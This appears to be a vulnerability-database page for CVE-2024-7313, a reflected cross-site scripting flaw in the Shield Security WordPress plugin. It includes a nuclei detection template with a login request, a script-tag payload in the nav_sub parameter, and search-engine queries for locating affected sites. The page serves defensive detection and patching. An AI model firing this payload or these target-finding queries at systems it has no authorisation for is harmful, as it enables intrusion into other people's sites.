HexBrain

Browse / CVEs / CVE-2024-7313

CVE-2024-7313· CWE-79

Shield Security Plugin < 20.0.6 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.

Impact

Authenticated users can inject malicious JavaScript through the nav_sub parameter that executes in the context of other administrators' sessions, potentially leading to privilege escalation, data theft, or unauthorized administrative actions.

Fix

Update the Shield Security plugin to version 20.0.6 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=<script>alert(document.domain)</script>
Positive when: contains in body_2 "<script>alert(document.domain)</script>" and "Unavailable nav handling:" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7313 -u <target>

The full check
id: CVE-2024-7313

info:
  name: Shield Security Plugin < 20.0.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.
  impact: |
    Authenticated users can inject malicious JavaScript through the nav_sub parameter that executes in the context of other administrators' sessions, potentially leading to privilege escalation, data theft, or unauthorized administrative actions.
  remediation: |
    Update the Shield Security plugin to version 20.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/83a1bdc6-098e-43d5-89e5-f4202ecd78a1/
    - https://research.cleantalk.org/CVE-2024-7313/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7313
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-7313
    cwe-id: CWE-79
    epss-score: 0.01551
    epss-percentile: 0.75314
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/wp-simple-firewall/"
    google-query: inurl:"/wp-content/plugins/wp-simple-firewall/"
    shodan-query: 'wp-content/plugins/wp-simple-firewall/'
  tags: cve,cve2024,wp,wordpress,xss,wp-plugin,authenticated,wp-simple-firewall,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "Unavailable nav handling:"
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from